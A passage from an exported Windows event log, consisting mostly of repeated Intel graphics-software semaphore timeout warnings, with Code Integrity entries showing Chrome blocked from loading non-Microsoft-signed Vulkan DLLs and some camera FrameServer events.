stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.614\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.836\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.160\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.599\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:32.460\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.236\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.463\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.684\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.908\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.122\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.766\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.985\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.993\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:35.000\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:37.994\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:37.994\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:37.994\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.021\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.021\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.021\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.031\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.031\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.031\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.037\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.037\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.038\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.064\t6\tFrameServer FsProxy Initialization Start, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global, Devices: 1, StreamType: MASTER.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToTriggerInHns: 200000000, \nSymbolicLink: .\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToCompletionInHns: 64.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToTriggerInHns: 200000000, \nSymbolicLink: .\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToCompletionInHns: 20.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.081\t7\tFrameServer FsProxy Initialization Stop, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global, Devices: 1, Streams: 1, StreamType: MASTER, hr: 0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.088\t2\tFrameServer FsProxy SetOutputType Start, PinId: 0, MediaType: FrameSize=5497558139600 (1280,720),MajorType={73646976-0000-0010-8000-00AA00389B71},FrameRate=128849018881 (30,1),PixelAspectRatio=4294967297 (1,1),InterlacedMode=2,Subtype={3231564E-0000-0010-8000-00AA00389B71}.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.088\t3\tFrameServer FsProxy SetOutputType Stop, hr=0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:41.999\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:41.999\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:41.999\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:42.028\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.028\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.028\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:42.035\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.035\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.036\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:42.041\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.041\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.042\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:53.360\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:53.363\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:53.576\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:54.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:54.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:54.801\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:56.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:56.468\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:57.228\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:57.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:58.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:59.342\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:59.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:59.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:00.123\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:00.346\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:01.455\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:01.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.012\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.456\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.680\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.905\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.128\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.352\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.912\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:04.136\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:04.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:06.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:07.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:07.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:07.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.152\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.710\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.933\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:09.368\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:09.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:09.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:10.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:10.813\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.040\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.933\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:13.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:13.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:14.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:14.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:14.714\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:15.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:15.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:15.940\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:16.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:17.274\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 